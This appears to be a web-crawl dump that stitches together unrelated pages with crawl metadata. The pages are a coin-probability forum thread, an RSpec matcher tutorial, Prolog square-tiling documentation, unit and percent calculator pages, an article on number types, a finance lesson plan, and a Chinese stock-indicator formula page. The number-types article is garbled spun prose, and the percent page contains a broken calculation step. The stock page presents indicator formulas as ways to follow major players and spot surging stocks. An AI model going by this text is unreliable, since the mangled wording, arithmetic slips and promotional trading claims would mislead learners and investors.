you randomly pick a coin and it comes up tail upon the flip. The probability of the coin being 2-headed goes from (1/10) before the toss to 0. You just gained some information from 1 toss.\n\nSuppose you have ten 1000-sided dice. 9 of which have sides numbered from 1-1000. The last die has all sides labelled with 314. You randomly pick a die and toss it once. The number 314 comes up. What die do you think you got?\n\nEdited by bushindo\n##### Share on other sites\n• 0",
null,
"theres a real easy way to do these problems you find the probability of flipping 8 heads\n\nfind the probability of flipping 9 heads and divide like so\n\nand done\n\n##### Share on other sites\n• 0",
null,
"Chuck beat me to the probability equation; however, people that said 50/50 are, in my opinion, correct. You wanted people to make an assumption without enough information even though you foreshadowed your answer in the 1st question. It is still going to be 50/50 probability. This is called the gambler fallacy and is one of the reasons casino's started seeing 20% increase in profits from the roulette tables when they started posting previous spins.\n\n##### Share on other sites\n• 0",
null,
"Chuck beat me to the probability equation; however, people that said 50/50 are, in my opinion, correct. You wanted people to make an assumption without enough information even though you foreshadowed your answer in the 1st question. It is still going to be 50/50 probability. This is called the gambler fallacy and is one of the reasons casino's started seeing 20% increase in profits from the roulette tables when they started posting previous spins.\n\nI'll try to explain the bonus question one final time.\n\nThere are 2 possibilities:\n\n1. It was a fair coin which would make the chance of the next tails 50/50 or 0.5.\n\n2. It is a biased coin making the probability of tails the next time greater then 0.5 (lets call it x, where 0.5<x<1)\n\nUsing the same logic that was used to answer the first question in the OP we can find the chance of the next tails. The probability that number 2 is correct is unkown. Also we wouln't know how biased the coin was. But we don't need to know it. If P is the chance of the next tails then all we know is that:\n\n0.5<P<x\n\nso P is greater than 0.5 and hence tails is more likely.\n\nFinally, what if you toss a coin a million times and it landed tails every time. How can you say that that coin isnt biased? It is so unlikely that I would be more than willing to bet my life (yes really) that there is something not quite right about that coin. So clearly, the next land, we would assume, would be tails.\n\nNow I don't mind debating this with someone, but I'm sure you'll have a hard time suggesting that the second point I made is an inaccurate assumption.\n\n##### Share on other sites\n• 0",
null,
"I completely understand what you are \"trying\" to get to; however, your sample size was very small. For someone to assume it is not a valid or fair coin is unrealistic. Again, you tried implying the direction you wanted us to go but 20 flips is not enough to be suspicious. I have seen 2 royal flushes in one night over the course of 4 texas hold em tournaments; I have seen 7 four of a kinds in one night (3 of which were deuces). I have seen back to back straight flushes. Why did I not questions these. My sample size was large enough. Your margin of error is too great. You would need a sample size of over 100 before you even start to reach 4 std dev.\n\n-royal flush odds 1 in 650,000\n\n-straight flush odds 1 in 72,000 (one time)\n\n-4 of a kind odds 1 in 4,000\n\nThese are not exact and you may want to look them up. However, the point is: With the way you worded your question, it is more likely that (with a sample size of 20) that I just got lucky with a fair coin, versus picking up a random coin and having it have heads (tails) on both sides.\n\nThe only way I could even concede the point is that you foreshadow it could be an unfair coin.\n\n##### Share on other sites\n• 0",
null,
"for the bonus the probability of it landing on tails 20 times is equal to 1/ and therefore rolling a head next should be [(2 ^20) - 1] /(2 ^20)\n\n##### Share on other sites\n• 0",
null,
"I completely understand what you are \"trying\" to get to; however, your sample size was very small. For someone to assume it is not a valid or fair coin is unrealistic. Again, you tried implying the direction you wanted us to go but 20 flips is not enough to be suspicious. I have seen 2 royal flushes in one night over the course of 4 texas hold em tournaments; I have seen 7 four of a kinds in one night (3 of which were deuces). I have seen back to back straight flushes. Why did I not questions these. My sample size was large enough. Your margin of error is too great. You would need a sample size of over 100 before you even start to reach 4 std dev.\n\n-royal flush odds 1 in 650,000\n\n-straight flush odds 1 in 72,000 (one time)\n\n-4 of a kind odds 1 in 4,000\n\nThese are not exact and you may want to look them up. However, the point is: With the way you worded your question, it is more likely that (with a sample size of 20) that I just got lucky with a fair coin, versus picking up a random coin and having it have heads (tails) on both sides.\n\nThe only way I could even concede the point is that you foreshadow it could be an unfair coin.\n\nWell the chance you get lucky is 1 in 1048576 and even if there was only a tiny chance that the coin was biased then that would have to be taken into account. It may be 50.00000001% but its still more than half.\n\n##### Share on other sites\n• 0",
null,
"i dont understand how your saying assuming its the biased coin. no one is assuming, there is a significant probability that it is the biased coin, and even if it is in the small percentage that it is a fair coin. That too is considered in the answer. I am almost positive chuck and psychic are right. Its like saying 2 people are throwing darts (ones really good, one is really bad). one steps up and hits the bullseye 10 times in a row. There is a significant probability of hitting the bullseye again because with the data we have its almost 100% chance that the really good ones throwing.\n\nAnyway if anyone is still looking at this thread. It might help to think of this. you pick a random coin of the ten and flip 4 heads in a row whats the probabilty that you selected the biased coin.\n\n## Join the conversation\n\nYou can post now and register later. If you have an account, sign in now to post with your account.",
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"× Pasted as rich text. Paste as plain text instead\n\nOnly 75 emoji are allowed.\n\n× Your previous content has been restored. Clear editor\n\n× You cannot paste images directly. Upload or insert images from URL.\n\n×"
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https://blog.f5.works/rails-the-difference-of-be-and-eq-statement/ | [
"In RSpec, when you first start writing test cases to compare expected results, it might be very confusing to pick from \"be\", \"eq\", \"eql\" or \"equal\".\n\nHowever, once you know the underlying differences of these methods, everything will be clear afterward. Let me go through them here with some examples.\n\n### Compare Statements\n\nThere are 2 groups of compare methods.\n\nThe followings compare the value of the object:\n\n• eq\n• eql\n\nThese two compare the object_id of the object instead:\n\n• equal\n• be\n\n### Test Case Example\n\nIn the following test case, I am going to use String, Array and Fixnum data to demonstrate the differences of \"eq\", \"eql\", \"equal\", \"be\".\n\n#### Fixnum\n\n``````require 'rails_helper'\n\ndescribe 'Fixnum' do\nit('should find two Fixnums are equal') { 1.should eq 1 }\nit('should find two Fixnums are equal') { 1.should eql 1 }\nit('should find two Fixnums are equal') { 1.should equal 1 }\nit('should find two Fixnums are equal') { 1.should be 1 }\nend\n``````\n\nIn case of Fixnum, it will all process successful. It is because Fixnum with the same value are actually the same single data instance, i.e. 1 and 1 are referring the same instance in the memory.\n\n#### String\n\n``````describe 'String' do\nit('should find two strings are equal') { \"\".should eq \"\"}\nit('should find two strings are equal') { \"\".should eql \"\"}\nit('should find two Strings are equal') { \"\".should equal \"\"} # Failed\nit('should find two strings are equal') { \"\".should be \"\"} # Failed\nend\n``````\n\nIn case of String, it will fail on \"equal\" and \"be\" statements. It is because these String data are different instances. First two test cases are comparing their values, which are the same. However, third and fourth test cases are comparing if they are the same object instance, which is not.\n\n#### Array\n\n``````describe 'Array' do\nit('should find two Arrays are equal') { {:a => 1}.should eq :a => 1 }\nit('should find two Arrays are equal') { {:a => 1}.should eql :a => 1 }\nit('should find two Arrays are equal') { {:a => 1}.should equal :a => 1 } # Failed\nit('hould find two Arrays are equal') { {:a => 1}.should be :a => 1 } # Failed\nend\n``````\n\nIn case of Array, it will fail on \"equal\" and \"be\" statements. The reason are the same as String cases.\n\n### Conclusion\n\nWe can see that \"eq\" and \"eql\" are used to compare the object value,\nwhile \"equal\" and \"be\" are used to compare the object_id by referencing the above result.\n\nThat's mean the compare statements of checking the object_id are using for compare the Fixnum data.\n\nThe compare statements of checking the object value are using for compare the normal data type, e.g. String, Array ...\n\n### Reference\n\nSuzuki MilanPaak. 17 JUN 2012. RSpecのequal, eql, eq, be の違い. Retrieved from :\nhttp://engineerflies.blogspot.hk/2012/06/rspecequal-eql-eq-be.html#.WWght9OGOi5"
] | [
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https://sicstus.sics.se/sicstus/docs/3.12.11/html/sicstus/Why-Disequations.html | [
"### 33.6 Why Disequations\n\nA beautiful example of disequations at work is due to [Colmerauer 90]. It addresses the task of tiling a rectangle with squares of all-different, a priori unknown sizes. Here is a translation of the original `Prolog-III` program to clp(Q,R):\n\n``` % library('clpqr/examples/squares')\n\nfilled_rectangle(A, C) :-\n{ A >= 1 },\ndistinct_squares(C),\nfilled_zone([-1,A,1], _, C, []).\n\ndistinct_squares([]).\ndistinct_squares([B|C]) :-\n{ B > 0 },\noutof(C, B),\ndistinct_squares(C).\n\noutof([], _).\noutof([B1|C], B) :-\n{ B =\\= B1 }, % *** note disequation ***\noutof(C, B).\n\nfilled_zone([V|L], [W|L], C0, C0) :-\n{ V=W,V >= 0 }.\nfilled_zone([V|L], L3, [B|C], C2) :-\n{ V < 0 },\nplaced_square(B, L, L1),\nfilled_zone(L1, L2, C, C1),\n{ Vb=V+B },\nfilled_zone([Vb,B|L2], L3, C1, C2).\n\nplaced_square(B, [H,H0,H1|L], L1) :-\n{ B > H, H0=0, H2=H+H1 },\nplaced_square(B, [H2|L], L1).\nplaced_square(B, [B,V|L], [X|L]) :-\n{ X=V-B }.\nplaced_square(B, [H|L], [X,Y|L]) :-\n{ B < H, X= -B, Y=H-B }.\n```\n\nThere are no tilings with less than nine squares except the trivial one where the rectangle equals the only square. There are eight solutions for nine squares. Six further solutions are rotations of the first two.\n\n``` clp(q) ?- use_module(library('clpqr/examples/squares')).\nclp(q) ?- filled_rectangle(A, Squares).\n\nA = 1,\nSquares = ? ;\n\nA = 33/32,\nSquares = [15/32,9/16,1/4,7/32,1/8,7/16,1/32,5/16,9/32] ? ;\n\nA = 69/61,\nSquares = [33/61,36/61,28/61,5/61,2/61,9/61,25/61,7/61,16/61] ? <RET>\n```\n\nDepending on your hardware, the above query may take a few minutes. Supplying the knowledge about the minimal number of squares beforehand cuts the computation time by a factor of roughly four:\n\n``` clp(q) ?- length(Squares, 9), filled_rectangle(A, Squares).\n\nA = 33/32,\nSquares = [15/32,9/16,1/4,7/32,1/8,7/16,1/32,5/16,9/32] ? ;\n\nA = 69/61,\nSquares = [33/61,36/61,28/61,5/61,2/61,9/61,25/61,7/61,16/61] ? <RET>\n```"
] | [
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https://convertoctopus.com/944-cups-to-quarts | [
"Conversion formula\n\nThe conversion factor from cups to quarts is 0.25, which means that 1 cup is equal to 0.25 quarts:\n\n1 cup = 0.25 qt\n\nTo convert 944 cups into quarts we have to multiply 944 by the conversion factor in order to get the volume amount from cups to quarts. We can also form a simple proportion to calculate the result:\n\n1 cup → 0.25 qt\n\n944 cup → V(qt)\n\nSolve the above proportion to obtain the volume V in quarts:\n\nV(qt) = 944 cup × 0.25 qt\n\nV(qt) = 236 qt\n\nThe final result is:\n\n944 cup → 236 qt\n\nWe conclude that 944 cups is equivalent to 236 quarts:\n\n944 cups = 236 quarts\n\nAlternative conversion\n\nWe can also convert by utilizing the inverse value of the conversion factor. In this case 1 quart is equal to 0.0042372881355932 × 944 cups.\n\nAnother way is saying that 944 cups is equal to 1 ÷ 0.0042372881355932 quarts.\n\nApproximate result\n\nFor practical purposes we can round our final result to an approximate numerical value. We can say that nine hundred forty-four cups is approximately two hundred thirty-six quarts:\n\n944 cup ≅ 236 qt\n\nAn alternative is also that one quart is approximately zero point zero zero four times nine hundred forty-four cups.\n\nConversion table\n\ncups to quarts chart\n\nFor quick reference purposes, below is the conversion table you can use to convert from cups to quarts\n\ncups (cup) quarts (qt)\n945 cups 236.25 quarts\n946 cups 236.5 quarts\n947 cups 236.75 quarts\n948 cups 237 quarts\n949 cups 237.25 quarts\n950 cups 237.5 quarts\n951 cups 237.75 quarts\n952 cups 238 quarts\n953 cups 238.25 quarts\n954 cups 238.5 quarts"
] | [
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] | {"ft_lang_label":"__label__en","ft_lang_prob":0.80721736,"math_prob":0.9988521,"size":1579,"snap":"2022-05-2022-21","text_gpt3_token_len":438,"char_repetition_ratio":0.1936508,"word_repetition_ratio":0.0,"special_character_ratio":0.33438885,"punctuation_ratio":0.09006211,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.99788654,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2022-01-26T19:31:44Z\",\"WARC-Record-ID\":\"<urn:uuid:42d1be27-cb52-45c7-afa7-3b4273e38d4f>\",\"Content-Length\":\"29566\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:041151dd-eac2-41e3-887c-734376b046aa>\",\"WARC-Concurrent-To\":\"<urn:uuid:0d5caa89-e584-48f7-a3f2-22169bc0b4d5>\",\"WARC-IP-Address\":\"172.67.155.243\",\"WARC-Target-URI\":\"https://convertoctopus.com/944-cups-to-quarts\",\"WARC-Payload-Digest\":\"sha1:J6FIKQ2PCLS6GWLJFUJ2PHN7YUNLI2F5\",\"WARC-Block-Digest\":\"sha1:XTAIH67B4TFB7JSQKARP6O6S4UKK7VE2\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2022/CC-MAIN-2022-05/CC-MAIN-2022-05_segments_1642320304961.89_warc_CC-MAIN-20220126192506-20220126222506-00706.warc.gz\"}"} |
https://whatpercentcalculator.com/41-is-17-percent-of-what-number | [
"# 41 is 17 percent of what number?\n\n## (41 is 17 percent of 241.176)\n\n### 41 is 17 percent of 241.176. Explanation: What does 17 percent or 17% mean?\n\nPercent (%) is an abbreviation for the Latin “per centum”, which means per hundred or for every hundred. So, 17% means 17 out of every 100.\n\n### Methods to calculate \"41 is 17 percent of what number\" with step by step explanation:\n\n#### Method 1: Diagonal multiplication to calculate \"41 is 17 percent of what number\".\n\n1. As given: For 17, our answer will be 100\n2. Assume: For 41, our answer will be X\n3. 17*X = 100*41 (In Steps 1 and 2 see colored text; Diagonal multiplications will always be equal)\n4. X = 100*41/17 = 4100/17 = 241.176\n\n#### Method 2: Same side division to calculate \"41 is 17 percent of what number\".\n\n1. As given: For 17, our answer will be 100\n2. Assume: For 41, our answer will be X\n3. 100/x = 17/41 (In Step 1 and 2, see colored text; Same side divisions will always be equal)\n4. 100/X = 17/41 or x/100 = 41/17\n5. X = 41*100/41 = 4100/17 = 241.176\n\n### Percentage examples\n\nPercentages express a proportionate part of a total. When a total is not given then it is assumed to be 100. E.g. 41% (read as 41 percent) can also be expressed as 41/100 or 41:100.\n\nExample: If 41% (41 percent) of your savings are invested in stocks, then 41 out of every 100 dollars are invested in stocks. If your savings are \\$10,000, then a total of 41*100 (i.e. \\$4100) are invested in stocks.\n\n### History of Percentage\n\nBefore the Europeans learned about the decimal system, ancient Romans used fractions in the multiples of 1/100. An example was when Augustus levied a tax of 1/100 called centesima rerum venalium on goods sold at auctions. Computation with these fractions was similar to percentages.\nIn the Middle Ages, denominator of 100 became more common. By the 16th century, as decimal system became more common, use of percentage became a standard. It was used to compute profit and loss, interest rates etc.\n\n### Scholarship programs to learn math\n\nHere are some of the top scholarships available to students who wish to learn math.\n\n### Examples to calculate \"What is the percent decrease from X to Y?\"\n\nWhatPercentCalculator.com is a participant in the Amazon Services LLC Associates Program, an affiliate advertising program designed to provide a means for sites to earn advertising fees by advertising and linking to Amazon.com."
] | [
null
] | {"ft_lang_label":"__label__en","ft_lang_prob":0.9464795,"math_prob":0.9486825,"size":4654,"snap":"2023-14-2023-23","text_gpt3_token_len":1378,"char_repetition_ratio":0.3027957,"word_repetition_ratio":0.23541667,"special_character_ratio":0.3478728,"punctuation_ratio":0.0629515,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9945496,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2023-05-31T04:46:28Z\",\"WARC-Record-ID\":\"<urn:uuid:2adb62af-4db7-4879-88c1-ffe8e76c6c08>\",\"Content-Length\":\"17467\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:d99004fd-6f01-4775-9084-d6bf057afc36>\",\"WARC-Concurrent-To\":\"<urn:uuid:2d050dbe-388a-4792-a29b-a30af2d11cb2>\",\"WARC-IP-Address\":\"172.67.163.99\",\"WARC-Target-URI\":\"https://whatpercentcalculator.com/41-is-17-percent-of-what-number\",\"WARC-Payload-Digest\":\"sha1:NS477QINO4WGRWVWQJFXHJ4IZUQRDIXX\",\"WARC-Block-Digest\":\"sha1:XBSIL2U2L4EHIGM7IORQZKYJQWSND3CW\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2023/CC-MAIN-2023-23/CC-MAIN-2023-23_segments_1685224646257.46_warc_CC-MAIN-20230531022541-20230531052541-00175.warc.gz\"}"} |
https://sdrta.net/any-number-that-can-be-written-as-a-ratio-of-two-integers/ | [
"Mathematics is much an ext than numbers. It consists of shapes, logic, symbols, spaces, and wide practices like crucial thinking and attending to precision, in addition to applications far and vast in every little thing from physics to physical education. Yet ask someone what math is, and you will nearly always hear an answer involving numbers. Castle are often our development into math and also a salient means that mathematics is discovered in the real world.\n\nYou are watching: Any number that can be written as a ratio of two integers\n\nSo what is a number?\n\nIt is not an easy question to answer. It to be not constantly known, for example, just how to write and perform arithmetic v zero or an unfavorable quantities. The notion of number has evolved over millennia and has, at least apocryphally, expense one old mathematician his life.\n\n## Natural, Whole, and Integer Numbers\n\nThe most common numbers that us encounter—in everything from speed limits to serial numbers—are natural numbers. These room the counting number that start with 1, 2, and also 3, and go ~ above forever. If we start counting indigenous 0 instead, the collection of numbers room instead called whole numbers.\n\nWhile these room standard terms, this is also a chance to share exactly how math is at some point a human endeavor. Different civilization may give different names to these sets, also sometimes reversing i beg your pardon one they call natural and also which one they contact whole! open it approximately your students: what would certainly they contact the collection of numbers 1, 2, 3...? What new name would certainly they offer it if they consisted of 0?\n\nThe integer numbers (or simply integers) extend whole numbers to your opposites too: ...–3, –2, –1, 0, 1, 2, 3.... Notice that 0 is the only number whose opposite is itself.",
null,
"## Rational Numbers and More\n\nExpanding the ide of number more brings us to rational numbers. The name has nothing to carry out with the numbers being sensible, return it opens up a possibility to comment on ELA in mathematics class and show just how one word have the right to have numerous different interpretations in a language and the prestige of being precise with language in mathematics. Rather, words rational originates from the root word ratio.\n\nA rational number is any type of number that can be composed as the ratio of 2 integers, such as $$\\frac12$$, $$\\frac78362,450$$ or $$\\frac-255$$. Note that when ratios can constantly be expressed together fractions, they can show up in various ways, too. Because that example, $$\\frac31$$ is commonly written as merely $$3$$, the portion $$\\frac14$$ often appears as $$0.25$$, and one can write $$-\\frac19$$ together the repeating decimal $$-0.111$$....\n\nAny number that cannot be created as a reasonable number is, logically enough, referred to as an irrational number. And also the entire group of all of these numbers, or in various other words, every numbers that have the right to be presented on a number line, are referred to as real numbers. The power structure of genuine numbers looks something like this:\n\nAn essential property that applies to real, rational, and also irrational number is the density property. It says that between any type of two actual (or rational or irrational) numbers, over there is always another real (or rational or irrational) number. Because that example, between 0.4588 and also 0.4589 exists the number 0.45887, in addition to infinitely countless others. And also thus, right here are every the feasible real numbers:\n\n## Real Numbers: Rational\n\nKey standard: recognize a rational number together a proportion of two integers and allude on a number line. (Grade 6)\n\nRational Numbers: Any number that deserve to be written as a proportion (or fraction) of two integers is a rational number. The is usual for students come ask, space fractions rational numbers? The answer is yes, but fractions comprise a huge category that additionally includes integers, end decimals, repeating decimals, and fractions.\n\nAn integer can be composed as a portion by offering it a denominator of one, so any kind of integer is a rational number.$$6=\\frac61$$$$0=\\frac01$$$$-4=\\frac-41$$ or $$\\frac4-1$$ or $$-\\frac41$$A terminating decimal have the right to be composed as a fraction by using properties of location value. For example, 3.75 = three and seventy-five hundredths or $$3\\frac75100$$, which is same to the improper fraction $$\\frac375100$$.A repeating decimal can constantly be composed as a portion using algebraic approaches that are beyond the border of this article. However, the is vital to recognize that any kind of decimal v one or an ext digits the repeats forever, for instance $$2.111$$... (which can be created as $$2.\\overline1$$) or $$0.890890890$$... (or $$0.\\overline890$$), is a reasonable number. A typical question is \"are repeating decimals rational numbers?\" The answer is yes!\n\nIntegers: The counting numbers (1, 2, 3,...), their opposites (–1, –2, –3,...), and also 0 room integers. A typical error for students in grades 6–8 is to assume the the integers refer to an adverse numbers. Similarly, plenty of students wonder, space decimals integers? This is only true once the decimal ends in \".000...,\" as in 3.000..., i beg your pardon is equal to 3. (Technically the is likewise true once a decimal ends in \".999...\" due to the fact that 0.999... = 1. This doesn\"t come up an especially often, but the number 3 can in reality be written as 2.999....)\n\nWhole Numbers: Zero and the positive integers room the entirety numbers.\n\nNatural Numbers: Also called the counting numbers, this collection includes all of the totality numbers other than zero (1, 2, 3,...).\n\n## Real Numbers: Irrational\n\nKey standard: know that there are numbers that there room not rational. (Grade 8)\n\nIrrational Numbers: Any genuine number the cannot be composed in fraction kind is one irrational number. These numbers encompass non-terminating, non-repeating decimals, for example $$\\pi$$, 0.45445544455544445555..., or $$\\sqrt2$$. Any kind of square root the is no a perfect root is one irrational number. For example, $$\\sqrt1$$ and also $$\\sqrt4$$ are rational since $$\\sqrt1=1$$ and also $$\\sqrt4=2$$, yet $$\\sqrt2$$ and $$\\sqrt3$$ are irrational. All 4 of this numbers carry out name point out on the number line, however they cannot every be composed as integer ratios.\n\n## Non-Real Numbers\n\nSo we\"ve gone v all genuine numbers. Space there other types of numbers? for the inquiring student, the price is a resounding correct! High institution students usually learn about facility numbers, or numbers that have actually a real part and an imaginary part. Castle look favor $$3+2i$$ or $$\\sqrt3i$$ and administer solutions come equations favor $$x^2+3=0$$ (whose systems is $$\\pm\\sqrt3i$$).\n\nSee more: Problem: What Is The Formula For Iron Ii Nitride ? What Is The Chemical Formula For Iron Nitride\n\nIn part sense, facility numbers mark the \"end\" the numbers, return mathematicians are always imagining new ways to describe and also represent numbers. Number can also be abstracted in a range of ways, consisting of mathematical objects like matrices and sets. Encourage her students to it is in mathematicians! how would they define a number the isn\"t among the species of numbers shown here? Why could a scientist or mathematician try to carry out this?\n\n***\n\nLooking for a mathematics curriculum the will flourish student confidence in math and assist learners exploit rational and also irrational numbers? explore HMH right into Math, our core math systems for qualities K–8."
] | [
null,
"https://sdrta.net/any-number-that-can-be-written-as-a-ratio-of-two-integers/imager_1_520_700.jpg",
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] | {"ft_lang_label":"__label__en","ft_lang_prob":0.9321575,"math_prob":0.99666786,"size":7098,"snap":"2022-27-2022-33","text_gpt3_token_len":1626,"char_repetition_ratio":0.14998591,"word_repetition_ratio":0.0035056968,"special_character_ratio":0.24992956,"punctuation_ratio":0.15707178,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9981463,"pos_list":[0,1,2],"im_url_duplicate_count":[null,2,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2022-08-11T14:37:42Z\",\"WARC-Record-ID\":\"<urn:uuid:f46bd95d-7849-4d11-b15b-a2a0416b4626>\",\"Content-Length\":\"17743\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:24ec1b4a-fdeb-4ba6-abb3-fbbde2663f86>\",\"WARC-Concurrent-To\":\"<urn:uuid:d2612f70-33da-429b-837e-9a38011bc844>\",\"WARC-IP-Address\":\"104.21.39.53\",\"WARC-Target-URI\":\"https://sdrta.net/any-number-that-can-be-written-as-a-ratio-of-two-integers/\",\"WARC-Payload-Digest\":\"sha1:FTUOPCQQ4SLSET6OVQIU4YFF6QCUSZPM\",\"WARC-Block-Digest\":\"sha1:QOUADYXIRB6O26XJZ3TAFMEA347CSQLW\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2022/CC-MAIN-2022-33/CC-MAIN-2022-33_segments_1659882571472.69_warc_CC-MAIN-20220811133823-20220811163823-00174.warc.gz\"}"} |
https://www.teacher.org/lesson-plan/interest-ing-math/ | [
"",
null,
"# Interest-ing Math\n\nJRDAssist\nMiddle School and High School Teacher\n\nStudents will learn about simple interest and how to calculate the real cost of a loan, credit card, and other types of borrowing.\n\n##",
null,
"",
null,
"Length of Time: 40 - 50 Minutes\n\n### Common Core Alignment\n\nCCSS.Math.Content.7.RP.A.3 - Use proportional relationships to solve multistep ratio and percent problems. Examples: simple interest, tax, markups and markdowns, gratuities and commissions, fees, percent increase and decrease, percent error.\n\n## Objectives & Outcomes\n\nThe students will be able to use the formula for simple interest, finding the total cost of using various types of loans or credit.\n\n## Materials Needed\n\n• Paper credit cards\n• pictures or photos of popular cars/motorcycles with prices (each with different interest rates and terms)\n• calculators (optional),\n• paper\n• pencil\n\n## Procedure\n\n### Opening to Lesson\n\n• Choose several students and give them the choice of taking \\$1000 today or waiting one month and taking the money with ten or fifteen percent added to it.\n• Ask each of them for their reasons to take it now or wait for the month to pass.\n• Introduce the concept of percentage rates and the cost of borrowing money\n\n### Body of Lesson\n\n#### Modeling\n\n• Display the formula I = prt\n• “Plug in” the numbers for a new car purchase\n• Show an example of purchasing a new car for cash versus paying for it over time\n• Explain how the length of the loan affects the total amount the car will end up costing\n\n#### Guided Practice\n\n• Distribute “credit cards” and a “cars” to each student\n• The students will choose a credit card and car with the terms they feel would be best for them\n• Once they determine the interest, cost of the loan, monthly payments, etc.; allow students to discuss their choices with others\n• Ask them if they would change their original choice based on discovering what others are paying\n• Discuss the reasons for lower vs. higher interest rates\n• Have students list or discuss advantages/disadvantages of taking a longer period of time to pay, paying over time versus paying in cash, etc.\n\n#### Independent Practice\n\n• The teacher will distribute a handout with several similar word problems which will test the students’ skills in determining interest, total cost, monthly payments, etc.\n• For homework, “give” students a credit card to use allowing them to make an imaginary purchase costing over \\$300. In essay form, have them explain to another person, who knows nothing about interest, the concept of paying interest on the purchase.\n• The teacher will collect the completed page(s). This will be used as an assessment.\n\n### Closing\n\nAsk students if they were surprised by the cost of purchases with interest added. Prompt students to discover a method to earn interest such as bank accounts, retirement accounts, etc. Finally, restate the original question about taking \\$1000 today or waiting for a month from now with ten or fifteen percent added.\n\n## Assessment & Evaluation\n\nHandouts/Worksheets with word problems having similar questions related to calculating monthly payments, total cost of loans, etc.\n\n## Modification & Differentiation\n\nStudents may work in pairs. Discuss reasons for different interest rates. Pros and cons of buying new vs. buying a used product. Do not use calculators.\n\n## Related Lesson Plans\n\n##### Silent Geometry\n\nThe students will practice using geometry formulas measuring items in the classroom to find area and volume, radius and circumference, and identify the types of angles.\n\n##### Numbers By The Book\n\nThis lesson will allow students to show a relationship between numbers and a visual representation in a manner that can be used for younger students.\n\n##### Take a Vacation\n\nThe students will plan a vacation for themselves, group of friends, or family, considering the costs involved.\n\n##### Box Geometry\n\nStudents will learn about using the formulas for the area of squares, rectangles, and triangles to determine how much paint and carpet to purchase for a room. In addition, they will learn about scale measurements."
] | [
null,
"data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%20210%20140%22%3E%3C/svg%3E",
null,
"https://www.teacher.org/wp-content/themes/teacher/images/lesson_plans/time_icon.png",
null,
"data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%20210%20140%22%3E%3C/svg%3E",
null
] | {"ft_lang_label":"__label__en","ft_lang_prob":0.91610116,"math_prob":0.69610435,"size":3969,"snap":"2021-04-2021-17","text_gpt3_token_len":823,"char_repetition_ratio":0.12080706,"word_repetition_ratio":0.0061255745,"special_character_ratio":0.20131016,"punctuation_ratio":0.10364146,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9551605,"pos_list":[0,1,2,3,4,5,6],"im_url_duplicate_count":[null,null,null,null,null,null,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2021-01-18T23:39:26Z\",\"WARC-Record-ID\":\"<urn:uuid:49c181ca-01e3-4979-bff3-b775a6921ac9>\",\"Content-Length\":\"39103\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:445de624-05ac-4d2f-8cec-a6f7c8c2372b>\",\"WARC-Concurrent-To\":\"<urn:uuid:f6144401-ce35-4539-bdca-0ccb1c5423eb>\",\"WARC-IP-Address\":\"54.176.177.95\",\"WARC-Target-URI\":\"https://www.teacher.org/lesson-plan/interest-ing-math/\",\"WARC-Payload-Digest\":\"sha1:IBX5DLENY7YPF2L7TFSI35GCD2ARZIZS\",\"WARC-Block-Digest\":\"sha1:IOQGE7WMTXYN4LP7OAANKKLSINNJCELG\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2021/CC-MAIN-2021-04/CC-MAIN-2021-04_segments_1610703517159.7_warc_CC-MAIN-20210118220236-20210119010236-00168.warc.gz\"}"} |
http://www.kuaihz.com/tid228_831547.html | [
"找词 找站\n\n#",
null,
"股票中最有效的指标你拥有吗，主力坐轿子 黑...",
null,
"1、跟随主力坐轿子\n\nVAR8:=VOL>2*MA(VOL,30);\n\nVARB:=CLOSE>MA(CLOSE,30) AND CLOSE<MA(CLOSE,30)*1.04;\n\nVARC:=MA(CLOSE,30)>REF(MA(CLOSE,30),1);\n\nVARD:=BARSLAST(CROSS(MA(CLOSE,5),MA(CLOSE,10)))<BARSLAST(CROSS(MA(CLOSE,10),MA(CLOSE,5)));\n\nVARF:=TROUGHBARS(3,15,1)<4;\n\nVARF1:=PEAKBARS(3,15,1)<4;\n\nVAR10:=EMA(CLOSE,30)>REF(EMA(CLOSE,30),2);\n\nVAR11:=IF(VARF=1,50,0);\n\nIF(多空>0,多空,DRAWNULL),LINETHICK3,COLORRED;\n\nIF(多空<0,多空,DRAWNULL),LINETHICK3,COLORGREEN;\n\nIF((多空<0 and=\"\">REF(多空,1)),多空,DRAWNULL),LINETHICK3,COLORLIMAGENTA;\n\nSTICKLINE(FILTER(VARF=1,5) AND 多空<-10,31,0,6,0),COLORRED;\n\nSTICKLINE(FILTER(VARF=1,5),28,0,4,0),COLORYELLOW;\n\nSTICKLINE(FILTER(VARF1=1,5) AND 多空>10,31,0,5,0),COLORMAGENTA;\n\nSTICKLINE(FILTER(VARF1=1,5),28,0,4,0),COLORGREEN;\n\nDRAWTEXT(FILTER(VARF=1,3),25,\"大黑马\"),COLORRED;\n\nDRAWTEXT(FILTER(VARF1=1,3),25,\"大黑驴\"),COLORLIMAGENTA;\n\nSTICKLINE(多空<-10,0,多空,1.1,0),COLORYELLOW;\n\n2、寻找短线底部\n\n3、强势启动捕捞季节"
] | [
null,
"http://www.kuaihz.com/template/pc/skin/img/header/logo.png",
null,
"http://www.kuaihz.com/uploads/thumb/38/1-200410161933361.jpeg",
null
